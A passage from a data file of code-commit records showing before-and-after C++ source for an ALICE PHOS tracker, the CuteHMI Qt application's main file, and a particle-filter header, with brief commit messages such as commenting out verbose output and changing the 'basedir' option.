; \n\nInt_t AliPHOSTracker::PropagateBack(AliESD *esd) {\n \/\/ Called by AliReconstruction \n \/\/ Creates the tracksegments and Recparticles\n \/\/ Makes the PID\n \n Int_t eventNumber = fRunLoader->GetEventNumber() ;\n\n TString headerFile(fRunLoader->GetFileName()) ; \n TString branchName(fRunLoader->GetEventFolder()->GetName()) ; \n \n AliPHOSTrackSegmentMakerv1 tsm(headerFile, branchName);\n\/\/ AliPHOSTrackSegmentMakerv2 tsm(headerFile, branchName);\n tsm.SetESD(esd) ; \n AliPHOSPIDv1 pid(headerFile, branchName);\n pid.SetESD(esd) ; \n\n SetDebug() ;\n\n \/\/ do current event; the loop over events is done by AliReconstruction::Run()\n tsm.SetEventRange(eventNumber, eventNumber) ; \n pid.SetEventRange(eventNumber, eventNumber) ; \n if ( Debug() ) {\n tsm.ExecuteTask(\"deb all\") ;\n pid.ExecuteTask(\"deb all\") ;\n }\n else {\n tsm.ExecuteTask(\"\") ;\n pid.ExecuteTask(\"\") ;\n }\n \n return 0;\n}\n<commit_msg>Verbose output commented out<commit_after>#include \"AliPHOSTracker.h\"\n#include \"AliPHOSClusterizerv1.h\"\n#include \"AliPHOSTrackSegmentMakerv1.h\"\n#include \"AliPHOSTrackSegmentMakerv2.h\"\n#include \"AliPHOSPIDv1.h\"\n#include \"AliRunLoader.h\"\n#include \"AliESD.h\"\n\n\/\/-------------------------------------------------------------------------\n\/\/ PHOS tracker.\n\/\/ Matches ESD tracks with the PHOS and makes the PID. \n\/\/ Currently, has only one function implemented : PropagateBack(AliESD*)\n\/\/-------------------------------------------------------------------------\n\nClassImp(AliPHOSTracker)\n\nBool_t AliPHOSTracker::fgDebug = kFALSE ; \n\nInt_t AliPHOSTracker::PropagateBack(AliESD *esd) {\n \/\/ Called by AliReconstruction \n \/\/ Creates the tracksegments and Recparticles\n \/\/ Makes the PID\n \n Int_t eventNumber = fRunLoader->GetEventNumber() ;\n\n TString headerFile(fRunLoader->GetFileName()) ; \n TString branchName(fRunLoader->GetEventFolder()->GetName()) ; \n \n AliPHOSTrackSegmentMakerv1 tsm(headerFile, branchName);\n\/\/ AliPHOSTrackSegmentMakerv2 tsm(headerFile, branchName);\n tsm.SetESD(esd) ; \n AliPHOSPIDv1 pid(headerFile, branchName);\n pid.SetESD(esd) ; \n\n \/\/PH SetDebug() ;\n\n \/\/ do current event; the loop over events is done by AliReconstruction::Run()\n tsm.SetEventRange(eventNumber, eventNumber) ; \n pid.SetEventRange(eventNumber, eventNumber) ; \n if ( Debug() ) {\n tsm.ExecuteTask(\"deb all\") ;\n pid.ExecuteTask(\"deb all\") ;\n }\n else {\n tsm.ExecuteTask(\"\") ;\n pid.ExecuteTask(\"\") ;\n }\n \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"version.hpp\"\n\n#include <cutehmi\/CuteHMI.hpp>\n#include <cutehmi\/ProjectModel.hpp>\n#include <cutehmi\/ErrorInfo.hpp>\n\n#include <cutehmi\/xml\/ProjectBackend.hpp>\n\n#include <cutehmi\/app\/CuteApp.hpp>\n\n\/\/<workaround id=\"cutehmi_view-4\" target=\"Qt\" cause=\"bug\">\n#include <QApplication>\n\/\/ Instead of:\n\/\/ #include <QGuiApplication>\n\/\/<\/workaround>\n\n#include <QQmlApplicationEngine>\n#include <QIcon>\n#include <QDir>\n#include <QtDebug>\n#include <QCommandLineParser>\n#include <QQmlContext>\n#include <QUrl>\n#include <QCursor>\n#include <QTranslator>\n#include <QLibraryInfo>\n#include <QFile>\n\nnamespace cutehmi {\nnamespace view {\n\nvoid loadXMLFile(const QString & filePath, Project & project, QQmlContext & qmlContext)\n{\n\tif (filePath.isEmpty()) {\n\t\tPrompt::Warning(QObject::tr(\"Empty filename has been provided.\"));\n\t\treturn;\n\t}\n\n\tqDebug() << \"Loading project file '\" << filePath << \"'...\";\n\n\tQFile file(filePath);\n\txml::ProjectBackend xmlBackend(& file, & qmlContext);\n\ttry {\n\t\tproject.load(xmlBackend);\n\t\tNotification::Note(QObject::tr(\"Succesfuly loaded project file '%1'.\").arg(filePath));\n\t} catch (const xml::ProjectBackend::DeviceOpenReadException & ) {\n\t\tif (!QFileInfo(filePath).exists())\n\t\t\tPrompt::Warning(QObject::tr(\"Could not load project file. File '%1' does not exist.\").arg(filePath));\n\t\telse\n\t\t\tPrompt::Warning(QObject::tr(\"Could not load project file. File '%1' could not be opened for reading.\").arg(filePath));\n\t} catch (const Exception & e) {\n\t\tPrompt::Critical(QObject::tr(\"Error while parsing '%1' document.\").arg(filePath) + \"\\n\\n\" + e.what());\n\t}\n}\n\n}\n}\n\nint main(int argc, char * argv[])\n{\n\tQCoreApplication::setOrganizationDomain(\"cutehmi\");\n\tQCoreApplication::setApplicationName(\"CuteHMI\");\n\tQCoreApplication::setApplicationVersion(CUTEHMI_APP_VERSION);\n\n\tif (qgetenv(\"QT_IM_MODULE\").isEmpty())\n\t\tqputenv(\"QT_IM_MODULE\", QByteArray(\"qtvirtualkeyboard\"));\n\tqDebug() << \"Input method: \" << qgetenv(\"QT_IM_MODULE\");\n\n\tif (qgetenv(\"QT_IM_MODULE\") == \"qtvirtualkeyboard\") {\n\t\tif (qgetenv(\"QT_VIRTUALKEYBOARD_LAYOUT_PATH\").isEmpty())\n\t\t\tqputenv(\"QT_VIRTUALKEYBOARD_LAYOUT_PATH\", QByteArray(QDir(\"..\/layouts\").absolutePath().toLocal8Bit()));\n\t\tqDebug() << \"Qt Virtual Keyboard layouts path: \" << qgetenv(\"QT_VIRTUALKEYBOARD_LAYOUT_PATH\");\n\t}\n\n\/\/<principle id=\"Qt-Qt_5_7_0_Reference_Documentation-Threads_and_QObjects-QObject_Reentrancy-creating_QObjects_before_QApplication\">\n\/\/ \"In general, creating QObjects before the QApplication is not supported and can lead to weird crashes on exit, depending on the\n\/\/\tplatform. This means static instances of QObject are also not supported. A properly structured single or multi-threaded application\n\/\/\tshould make the QApplication be the first created, and last destroyed QObject.\"\n\n\t\/\/<workaround id=\"cutehmi_view-4\" target=\"Qt\" cause=\"bug\">\n\tQApplication::setAttribute(Qt::AA_EnableHighDpiScaling);\n\tcutehmi::app::CuteApp app(argc, argv);\n\t\/\/ Instead of:\n\t\/\/\tQGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling);\n\t\/\/\tQGuiApplication app(argc, argv);\n\t\/\/<workaround>\n\tapp.setWindowIcon(QIcon(\":\/img\/icon.png\"));\n\n\tQCommandLineParser cmd;\n\tcmd.setApplicationDescription(\"CuteHMI\");\n\tcmd.addHelpOption();\n\tcmd.addVersionOption();\n\tQCommandLineOption fullScreenOption({\"f\", \"fullscreen\"}, QCoreApplication::translate(\"main\", \"Run application in full screen mode.\"));\n\tcmd.addOption(fullScreenOption);\n\tQCommandLineOption projectOption({\"p\", \"project\"}, QCoreApplication::translate(\"main\", \"Load CuteHMI project <file>.\"), QCoreApplication::translate(\"main\", \"file\"));\n\tcmd.addOption(projectOption);\n\tQCommandLineOption hideCursorOption({\"t\", \"touch\"}, QCoreApplication::translate(\"main\", \"Touch screen (hides mouse cursor).\"));\n\tcmd.addOption(hideCursorOption);\n\tQCommandLineOption styleOption(\"qstyle\", QCoreApplication::translate(\"main\", \"Set Qt Quick <style>.\"), QCoreApplication::translate(\"main\", \"style\"));\n\tcmd.addOption(styleOption);\n\tQCommandLineOption langOption(\"lang\", QCoreApplication::translate(\"main\", \"Choose application <language>.\"), QCoreApplication::translate(\"main\", \"language\"));\n\tcmd.addOption(langOption);\n\tQCommandLineOption basedirOption(\"basedir\", QCoreApplication::translate(\"main\", \"Set base directory to <dir>.\"), QCoreApplication::translate(\"main\", \"dir\"));\n\tcmd.addOption(basedirOption);\n\tcmd.process(app);\n\n\tqDebug() << \"Default locale: \" << QLocale();\n\n\tQTranslator qtTranslator;\n\tif (cmd.isSet(langOption))\n\t\tqtTranslator.load(\"qt_\" + cmd.value(langOption), QLibraryInfo::location(QLibraryInfo::TranslationsPath));\n\telse\n\t\tqtTranslator.load(\"qt_\" + QLocale::system().name(), QLibraryInfo::location(QLibraryInfo::TranslationsPath));\n\tapp.installTranslator(& qtTranslator);\n\n\tif (cmd.isSet(styleOption)) {\n\t\tqputenv(\"QT_QUICK_CONTROLS_STYLE\", cmd.value(styleOption).toLocal8Bit());\n\t\tqDebug() << \"Qt Quick style: \" << cmd.value(styleOption);\n\t}\n\n\tif (cmd.isSet(hideCursorOption))\n\t\tQGuiApplication::setOverrideCursor(QCursor(Qt::BlankCursor));\n\t\/\/<workaround id=\"cutehmi_view-5\" target=\"Qt\" cause=\"bug\">\n\t\/\/ When run on raw Xorg server application does not show up cursor unless some controls are hovered.\n\telse\n\t\tQGuiApplication::setOverrideCursor(QCursor(Qt::ArrowCursor));\n\t\/\/<\/workaround>\n\n\tQDir baseDir(QCoreApplication::applicationDirPath());\n\tif (cmd.isSet(basedirOption))\n\t\tbaseDir = cmd.value(basedirOption);\n\tQString baseDirPath = baseDir.absolutePath() + \"\/\";\n\tqDebug() << \"Base directory: \" << baseDirPath;\n\n\tqDebug() << \"Library paths: \" << QCoreApplication::libraryPaths();\n\n\tstd::unique_ptr<QQmlApplicationEngine> engine(new QQmlApplicationEngine);\n\tengine->addImportPath(baseDirPath + \"..\/QML\");\n\tqDebug() << \"QML import paths: \" << engine->importPathList();\n\tengine->rootContext()->setContextProperty(\"cutehmi_bin_mainScreenURL\", \"qrc:\/qml\/DefaultScreen.qml\");\n\tengine->load(QUrl(QStringLiteral(\"qrc:\/qml\/MainWindow.qml\")));\n\n\tif (!cmd.value(projectOption).isNull()) {\n\t\tcutehmi::CuteHMI & cuteHMI = cutehmi::CuteHMI::Instance();\n\t\tcutehmi::view::loadXMLFile(baseDirPath + cmd.value(projectOption), *cuteHMI.project(), *engine->rootContext());\n\n\t\tcutehmi::ProjectNode * appNode = cuteHMI.project()->model()->root().child(\"cutehmi_app_1\");\n\t\tif (appNode) {\n\t\t\tQString source;\n\t\t\tappNode->invoke(\"cutehmi::app::MainScreen\", \"source\", Q_RETURN_ARG(QString, source));\n\t\t\tQUrl sourceUrl(source);\n\t\t\tif (sourceUrl.isValid()) {\n\t\t\t\t\/\/ Assure that URL is not mixing relative path with explicitly specified scheme, which is forbidden. QUrl::isValid() doesn't check this out.\n\t\t\t\tif (!sourceUrl.scheme().isEmpty() && QDir::isRelativePath(sourceUrl.path()))\n\t\t\t\t\tcutehmi::Prompt::Critical(QObject::tr(\"URL '%1' contains relative path along with URL scheme, which is forbidden.\").arg(sourceUrl.url()));\n\t\t\t\telse {\n\t\t\t\t\t\/\/ If source URL is relative (does not contain scheme), then make absolute URL: file:\/\/\/baseDirPath\/sourceUrl.\n\t\t\t\t\tif (sourceUrl.isRelative())\n\t\t\t\t\t\tsourceUrl = QUrl::fromLocalFile(baseDirPath).resolved(sourceUrl);\n\t\t\t\t\t\/\/ Check if file exists and eventually set context property.\n\t\t\t\t\tif (sourceUrl.isLocalFile() && !QFile::exists(sourceUrl.toLocalFile()))\n\t\t\t\t\t\tcutehmi::Prompt::Critical(QObject::tr(\"Main screen file '%1' does not exist.\").arg(sourceUrl.url()));\n\t\t\t\t\telse\n\t\t\t\t\t\tengine->rootContext()->setContextProperty(\"cutehmi_bin_mainScreenURL\", sourceUrl.url());\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\tcutehmi::Prompt::Critical(QObject::tr(\"Invalid format of main screen URL '%1'.\").arg(source));\n\t\t}\n\t}\n\n\t\/\/<principle id=\"Qt-Qt_5_9_1_Reference_Documentation-Qt_Core-C++_Classes-QCoreApplication-exec\">\n\t\/\/ \"We recommend that you connect clean-up code to the aboutToQuit() signal, instead of putting it in your application's main() function because on some\n\t\/\/ platforms the exec() call may not return. For example, on Windows when the user logs off, the system terminates the process after Qt closes all top-level\n\t\/\/ windows. Hence, there is no guarantee that the application will have time to exit its event loop and execute code at the end of the main() function after\n\t\/\/ the exec() call.\"\n\tQObject::connect(& app, & cutehmi::app::CuteApp::aboutToQuit, [&]() {\n\t\t\/\/ It's quite important to destroy \"engine\" before cutehmi::CuteHMI::Instance() members, because they\n\t\t\/\/ may still be used by some QML components (for example in \"Component.onDestroyed\" handlers).\n\t\tengine.reset();\n\n\t\tcutehmi::CuteHMI::Destroy();\n\n\t\tif (cmd.isSet(hideCursorOption))\n\t\t\tQGuiApplication::restoreOverrideCursor();\n\t\t\/\/<workaround ref=\"cutehmi_view-5\">\n\t\telse\n\t\t\tQGuiApplication::restoreOverrideCursor();\n\t\t\/\/<\/workaround>\n\t});\n\t\/\/<\/principle>\n\n\treturn app.exec();\n\n\t\/\/<\/principle>\n}\n\n\/\/(c)MP: Copyright © 2017, Michal Policht. All rights reserved.\n\/\/(c)MP: This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n<commit_msg>Change 'basedir' option semantics.<commit_after>#include \"version.hpp\"\n\n#include <cutehmi\/CuteHMI.hpp>\n#include <cutehmi\/ProjectModel.hpp>\n#include <cutehmi\/ErrorInfo.hpp>\n\n#include <cutehmi\/xml\/ProjectBackend.hpp>\n\n#include <cutehmi\/app\/CuteApp.hpp>\n\n\/\/<workaround id=\"cutehmi_view-4\" target=\"Qt\" cause=\"bug\">\n#include <QApplication>\n\/\/ Instead of:\n\/\/ #include <QGuiApplication>\n\/\/<\/workaround>\n\n#include <QQmlApplicationEngine>\n#include <QIcon>\n#include <QDir>\n#include <QtDebug>\n#include <QCommandLineParser>\n#include <QQmlContext>\n#include <QUrl>\n#include <QCursor>\n#include <QTranslator>\n#include <QLibraryInfo>\n#include <QFile>\n\nnamespace cutehmi {\nnamespace view {\n\nvoid loadXMLFile(const QString & filePath, Project & project, QQmlContext & qmlContext)\n{\n\tif (filePath.isEmpty()) {\n\t\tPrompt::Warning(QObject::tr(\"Empty filename has been provided.\"));\n\t\treturn;\n\t}\n\n\tqDebug() << \"Loading project file '\" << filePath << \"'...\";\n\n\tQFile file(filePath);\n\txml::ProjectBackend xmlBackend(& file, & qmlContext);\n\ttry {\n\t\tproject.load(xmlBackend);\n\t\tNotification::Note(QObject::tr(\"Succesfuly loaded project file '%1'.\").arg(filePath));\n\t} catch (const xml::ProjectBackend::DeviceOpenReadException & ) {\n\t\tif (!QFileInfo(filePath).exists())\n\t\t\tPrompt::Warning(QObject::tr(\"Could not load project file. File '%1' does not exist.\").arg(filePath));\n\t\telse\n\t\t\tPrompt::Warning(QObject::tr(\"Could not load project file. File '%1' could not be opened for reading.\").arg(filePath));\n\t} catch (const Exception & e) {\n\t\tPrompt::Critical(QObject::tr(\"Error while parsing '%1' document.\").arg(filePath) + \"\\n\\n\" + e.what());\n\t}\n}\n\n}\n}\n\nint main(int argc, char * argv[])\n{\n\tQCoreApplication::setOrganizationDomain(\"cutehmi\");\n\tQCoreApplication::setApplicationName(\"CuteHMI\");\n\tQCoreApplication::setApplicationVersion(CUTEHMI_APP_VERSION);\n\n\tif (qgetenv(\"QT_IM_MODULE\").isEmpty())\n\t\tqputenv(\"QT_IM_MODULE\", QByteArray(\"qtvirtualkeyboard\"));\n\tqDebug() << \"Input method: \" << qgetenv(\"QT_IM_MODULE\");\n\n\tif (qgetenv(\"QT_IM_MODULE\") == \"qtvirtualkeyboard\") {\n\t\tif (qgetenv(\"QT_VIRTUALKEYBOARD_LAYOUT_PATH\").isEmpty())\n\t\t\tqputenv(\"QT_VIRTUALKEYBOARD_LAYOUT_PATH\", QByteArray(QDir(\"..\/layouts\").absolutePath().toLocal8Bit()));\n\t\tqDebug() << \"Qt Virtual Keyboard layouts path: \" << qgetenv(\"QT_VIRTUALKEYBOARD_LAYOUT_PATH\");\n\t}\n\n\/\/<principle id=\"Qt-Qt_5_7_0_Reference_Documentation-Threads_and_QObjects-QObject_Reentrancy-creating_QObjects_before_QApplication\">\n\/\/ \"In general, creating QObjects before the QApplication is not supported and can lead to weird crashes on exit, depending on the\n\/\/\tplatform. This means static instances of QObject are also not supported. A properly structured single or multi-threaded application\n\/\/\tshould make the QApplication be the first created, and last destroyed QObject.\"\n\n\t\/\/<workaround id=\"cutehmi_view-4\" target=\"Qt\" cause=\"bug\">\n\tQApplication::setAttribute(Qt::AA_EnableHighDpiScaling);\n\tcutehmi::app::CuteApp app(argc, argv);\n\t\/\/ Instead of:\n\t\/\/\tQGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling);\n\t\/\/\tQGuiApplication app(argc, argv);\n\t\/\/<workaround>\n\tapp.setWindowIcon(QIcon(\":\/img\/icon.png\"));\n\n\tQCommandLineParser cmd;\n\tcmd.setApplicationDescription(\"CuteHMI\");\n\tcmd.addHelpOption();\n\tcmd.addVersionOption();\n\tQCommandLineOption fullScreenOption({\"f\", \"fullscreen\"}, QCoreApplication::translate(\"main\", \"Run application in full screen mode.\"));\n\tcmd.addOption(fullScreenOption);\n\tQCommandLineOption projectOption({\"p\", \"project\"}, QCoreApplication::translate(\"main\", \"Load CuteHMI project <file>.\"), QCoreApplication::translate(\"main\", \"file\"));\n\tcmd.addOption(projectOption);\n\tQCommandLineOption hideCursorOption({\"t\", \"touch\"}, QCoreApplication::translate(\"main\", \"Touch screen (hides mouse cursor).\"));\n\tcmd.addOption(hideCursorOption);\n\tQCommandLineOption styleOption(\"qstyle\", QCoreApplication::translate(\"main\", \"Set Qt Quick <style>.\"), QCoreApplication::translate(\"main\", \"style\"));\n\tcmd.addOption(styleOption);\n\tQCommandLineOption langOption(\"lang\", QCoreApplication::translate(\"main\", \"Choose application <language>.\"), QCoreApplication::translate(\"main\", \"language\"));\n\tcmd.addOption(langOption);\n\tQCommandLineOption basedirOption(\"basedir\", QCoreApplication::translate(\"main\", \"Set base directory to <dir>.\"), QCoreApplication::translate(\"main\", \"dir\"));\n\tcmd.addOption(basedirOption);\n\tcmd.process(app);\n\n\tqDebug() << \"Default locale: \" << QLocale();\n\n\tQTranslator qtTranslator;\n\tif (cmd.isSet(langOption))\n\t\tqtTranslator.load(\"qt_\" + cmd.value(langOption), QLibraryInfo::location(QLibraryInfo::TranslationsPath));\n\telse\n\t\tqtTranslator.load(\"qt_\" + QLocale::system().name(), QLibraryInfo::location(QLibraryInfo::TranslationsPath));\n\tapp.installTranslator(& qtTranslator);\n\n\tif (cmd.isSet(styleOption)) {\n\t\tqputenv(\"QT_QUICK_CONTROLS_STYLE\", cmd.value(styleOption).toLocal8Bit());\n\t\tqDebug() << \"Qt Quick style: \" << cmd.value(styleOption);\n\t}\n\n\tif (cmd.isSet(hideCursorOption))\n\t\tQGuiApplication::setOverrideCursor(QCursor(Qt::BlankCursor));\n\t\/\/<workaround id=\"cutehmi_view-5\" target=\"Qt\" cause=\"bug\">\n\t\/\/ When run on raw Xorg server application does not show up cursor unless some controls are hovered.\n\telse\n\t\tQGuiApplication::setOverrideCursor(QCursor(Qt::ArrowCursor));\n\t\/\/<\/workaround>\n\n\tQDir baseDir(QCoreApplication::applicationDirPath() + \"\/..\");\n\tif (cmd.isSet(basedirOption))\n\t\tbaseDir = cmd.value(basedirOption);\n\tQString baseDirPath = baseDir.absolutePath() + \"\/\";\n\tqDebug() << \"Base directory: \" << baseDirPath;\n\n\tqDebug() << \"Library paths: \" << QCoreApplication::libraryPaths();\n\n\tstd::unique_ptr<QQmlApplicationEngine> engine(new QQmlApplicationEngine);\n\tengine->addImportPath(baseDirPath + \"QML\");\n\tqDebug() << \"QML import paths: \" << engine->importPathList();\n\tengine->rootContext()->setContextProperty(\"cutehmi_bin_mainScreenURL\", \"qrc:\/qml\/DefaultScreen.qml\");\n\tengine->load(QUrl(QStringLiteral(\"qrc:\/qml\/MainWindow.qml\")));\n\n\tif (!cmd.value(projectOption).isNull()) {\n\t\tcutehmi::CuteHMI & cuteHMI = cutehmi::CuteHMI::Instance();\n\t\tcutehmi::view::loadXMLFile(baseDirPath + cmd.value(projectOption), *cuteHMI.project(), *engine->rootContext());\n\n\t\tcutehmi::ProjectNode * appNode = cuteHMI.project()->model()->root().child(\"cutehmi_app_1\");\n\t\tif (appNode) {\n\t\t\tQString source;\n\t\t\tappNode->invoke(\"cutehmi::app::MainScreen\", \"source\", Q_RETURN_ARG(QString, source));\n\t\t\tQUrl sourceUrl(source);\n\t\t\tif (sourceUrl.isValid()) {\n\t\t\t\t\/\/ Assure that URL is not mixing relative path with explicitly specified scheme, which is forbidden. QUrl::isValid() doesn't check this out.\n\t\t\t\tif (!sourceUrl.scheme().isEmpty() && QDir::isRelativePath(sourceUrl.path()))\n\t\t\t\t\tcutehmi::Prompt::Critical(QObject::tr(\"URL '%1' contains relative path along with URL scheme, which is forbidden.\").arg(sourceUrl.url()));\n\t\t\t\telse {\n\t\t\t\t\t\/\/ If source URL is relative (does not contain scheme), then make absolute URL: file:\/\/\/baseDirPath\/sourceUrl.\n\t\t\t\t\tif (sourceUrl.isRelative())\n\t\t\t\t\t\tsourceUrl = QUrl::fromLocalFile(baseDirPath).resolved(sourceUrl);\n\t\t\t\t\t\/\/ Check if file exists and eventually set context property.\n\t\t\t\t\tif (sourceUrl.isLocalFile() && !QFile::exists(sourceUrl.toLocalFile()))\n\t\t\t\t\t\tcutehmi::Prompt::Critical(QObject::tr(\"Main screen file '%1' does not exist.\").arg(sourceUrl.url()));\n\t\t\t\t\telse\n\t\t\t\t\t\tengine->rootContext()->setContextProperty(\"cutehmi_bin_mainScreenURL\", sourceUrl.url());\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\tcutehmi::Prompt::Critical(QObject::tr(\"Invalid format of main screen URL '%1'.\").arg(source));\n\t\t}\n\t}\n\n\t\/\/<principle id=\"Qt-Qt_5_9_1_Reference_Documentation-Qt_Core-C++_Classes-QCoreApplication-exec\">\n\t\/\/ \"We recommend that you connect clean-up code to the aboutToQuit() signal, instead of putting it in your application's main() function because on some\n\t\/\/ platforms the exec() call may not return. For example, on Windows when the user logs off, the system terminates the process after Qt closes all top-level\n\t\/\/ windows. Hence, there is no guarantee that the application will have time to exit its event loop and execute code at the end of the main() function after\n\t\/\/ the exec() call.\"\n\tQObject::connect(& app, & cutehmi::app::CuteApp::aboutToQuit, [&]() {\n\t\t\/\/ It's quite important to destroy \"engine\" before cutehmi::CuteHMI::Instance() members, because they\n\t\t\/\/ may still be used by some QML components (for example in \"Component.onDestroyed\" handlers).\n\t\tengine.reset();\n\n\t\tcutehmi::CuteHMI::Destroy();\n\n\t\tif (cmd.isSet(hideCursorOption))\n\t\t\tQGuiApplication::restoreOverrideCursor();\n\t\t\/\/<workaround ref=\"cutehmi_view-5\">\n\t\telse\n\t\t\tQGuiApplication::restoreOverrideCursor();\n\t\t\/\/<\/workaround>\n\t});\n\t\/\/<\/principle>\n\n\treturn app.exec();\n\n\t\/\/<\/principle>\n}\n\n\/\/(c)MP: Copyright © 2017, Michal Policht. All rights reserved.\n\/\/(c)MP: This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\nThis software allows for filtering in high-dimensional observation and\nstate spaces, as described in\n\nM. Wuthrich, P. Pastor, M. Kalakrishnan, J. Bohg, and S. Schaal.\nProbabilistic Object Tracking using a Range Camera\nIEEE\/RSJ Intl Conf on Intelligent Robots and Systems, 2013\n\nIn a publication based on this software pleace cite the above reference.\n\n\nCopyright (C) 2014 Manuel Wuthrich\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*************************************************************************\/\n\n#ifndef FAST_FILTERING_FILTERS_STOCHASTIC_RAO_BLACKWELL_COORDINATE_PARTICLE_FILTER_HPP\n#define FAST_FILTERING_FILTERS_STOCHASTIC_RAO_BLACKWELL_COORDINATE_PARTICLE_FILTER_HPP\n\n#include <vector>\n#include <limits>\n#include <string>\n\n#include <boost\/shared_ptr.hpp>\n\n#include <Eigen\/Core>\n\n#include <ff\/utils\/assertions.hpp>\n#include <ff\/utils\/profiling.hpp>\n#include <fl\/util\/traits.hpp>\n#include <ff\/utils\/helper_functions.hpp>\n#include <fl\/distribution\/gaussian.hpp>\n#include <ff\/distributions\/sum_of_deltas.hpp>\n#include <fl\/distribution\/interface\/gaussian_map.hpp>\n#include <ff\/models\/observation_models\/interfaces\/rao_blackwell_observation_model.hpp>\n#include <ff\/models\/process_models\/interfaces\/stationary_process_model.hpp>\n\nnamespace fl\n{\n\ntemplate<typename ProcessModel, typename ObservationModel>\nclass RaoBlackwellCoordinateParticleFilter\n{\npublic:\n typedef typename Traits<ProcessModel>::Scalar Scalar;\n typedef typename Traits<ProcessModel>::State State;\n typedef typename Traits<ProcessModel>::Input Input;\n typedef typename Traits<ProcessModel>::Noise Noise;\n\n typedef typename ObservationModel::Observation Observation;\n\n \/\/ state distribution\n typedef SumOfDeltas<State> StateDistributionType;\n\npublic:\n RaoBlackwellCoordinateParticleFilter(\n const boost::shared_ptr<ProcessModel> process_model,\n const boost::shared_ptr<ObservationModel> observation_model,\n const std::vector<std::vector<size_t>>& sampling_blocks,\n const Scalar& max_kl_divergence = 0):\n observation_model_(observation_model),\n process_model_(process_model),\n max_kl_divergence_(max_kl_divergence)\n {\n static_assert_base(\n ProcessModel,\n StationaryProcessModel<State, Input>);\n\n static_assert_base(\n ProcessModel,\n GaussianMap<State, Noise>);\n\n static_assert_base(\n ObservationModel,\n RaoBlackwellObservationModel<State, Observation>);\n\n SamplingBlocks(sampling_blocks);\n }\n\n virtual ~RaoBlackwellCoordinateParticleFilter() {}\n\npublic:\n void Filter(const Observation& observation,\n const Scalar& delta_time,\n const Input& input)\n {\n observation_model_->SetObservation(observation, delta_time);\n\n loglikes_ = std::vector<Scalar>(samples_.size(), 0);\n noises_ = std::vector<Noise>(samples_.size(), Noise::Zero(process_model_->NoiseDimension()));\n next_samples_ = samples_;\n\n for(size_t block_index = 0; block_index < sampling_blocks_.size(); block_index++)\n {\n INIT_PROFILING;\n for(size_t particle_index = 0; particle_index < samples_.size(); particle_index++)\n {\n for(size_t i = 0; i < sampling_blocks_[block_index].size(); i++)\n noises_[particle_index](sampling_blocks_[block_index][i]) = unit_gaussian_.Sample()(0);\n }\n MEASURE(\"sampling\");\n for(size_t particle_index = 0; particle_index < samples_.size(); particle_index++)\n {\n process_model_->Condition(delta_time,\n samples_[particle_index],\n input);\n }\n MEASURE(\"conditioning\");\n for(size_t particle_index = 0; particle_index < samples_.size(); particle_index++)\n {\n next_samples_[particle_index] = process_model_->MapStandardGaussian(noises_[particle_index]);\n }\n MEASURE(\"propagation\");\n\n bool update_occlusions = (block_index == sampling_blocks_.size()-1);\n std::vector<Scalar> new_loglikes = observation_model_->Loglikes(next_samples_,\n indices_,\n update_occlusions);\n MEASURE(\"evaluation\");\n std::vector<Scalar> delta_loglikes(new_loglikes.size());\n for(size_t i = 0; i < delta_loglikes.size(); i++)\n delta_loglikes[i] = new_loglikes[i] - loglikes_[i];\n loglikes_ = new_loglikes;\n UpdateWeights(delta_loglikes);\n MEASURE(\"updating weights\");\n\n }\n\n samples_ = next_samples_;\n state_distribution_.SetDeltas(samples_); \/\/ not sure whether this is the right place\n\n }\n\n void Resample(const size_t& sample_count)\n {\n std::vector<State> samples(sample_count);\n std::vector<size_t> indices(sample_count);\n std::vector<Noise> noises(sample_count);\n std::vector<State> next_samples(sample_count);\n std::vector<Scalar> loglikes(sample_count);\n\n fl::hf::DiscreteSampler sampler(log_weights_);\n\n for(size_t i = 0; i < sample_count; i++)\n {\n size_t index = sampler.Sample();\n\n samples[i] = samples_[index];\n indices[i] = indices_[index];\n noises[i] = noises_[index];\n next_samples[i] = next_samples_[index];\n loglikes[i] = loglikes_[index];\n }\n samples_ = samples;\n indices_ = indices;\n noises_ = noises;\n next_samples_ = next_samples;\n loglikes_ = loglikes;\n\n log_weights_ = std::vector<Scalar>(samples_.size(), 0.);\n\n state_distribution_.SetDeltas(samples_); \/\/ not sure whether this is the right place\n }\n\nprivate:\n void UpdateWeights(std::vector<Scalar> log_weight_diffs)\n {\n for(size_t i = 0; i < log_weight_diffs.size(); i++)\n log_weights_[i] += log_weight_diffs[i];\n\n std::vector<Scalar> weights = log_weights_;\n fl::hf::Sort(weights, 1);\n\n for(int i = weights.size() - 1; i >= 0; i--)\n weights[i] -= weights[0];\n\n weights = fl::hf::Apply<Scalar, Scalar>(weights, std::exp);\n weights = fl::hf::SetSum(weights, Scalar(1));\n\n \/\/ compute KL divergence to uniform distribution KL(p|u)\n Scalar kl_divergence = std::log(Scalar(weights.size()));\n for(size_t i = 0; i < weights.size(); i++)\n {\n Scalar information = - std::log(weights[i]) * weights[i];\n if(!std::isfinite(information))\n information = 0; \/\/ the limit for weight -> 0 is equal to 0\n kl_divergence -= information;\n }\n\n if(kl_divergence > max_kl_divergence_)\n Resample(samples_.size());\n }\n\npublic:\n \/\/ set\n void Samples(const std::vector<State >& samples)\n {\n samples_ = samples;\n indices_ = std::vector<size_t>(samples_.size(), 0); observation_model_->Reset();\n log_weights_ = std::vector<Scalar>(samples_.size(), 0);\n }\n void SamplingBlocks(const std::vector<std::vector<size_t>>& sampling_blocks)\n {\n sampling_blocks_ = sampling_blocks;\n\n \/\/ make sure sizes are consistent\n size_t dimension = 0;\n for(size_t i = 0; i < sampling_blocks_.size(); i++)\n for(size_t j = 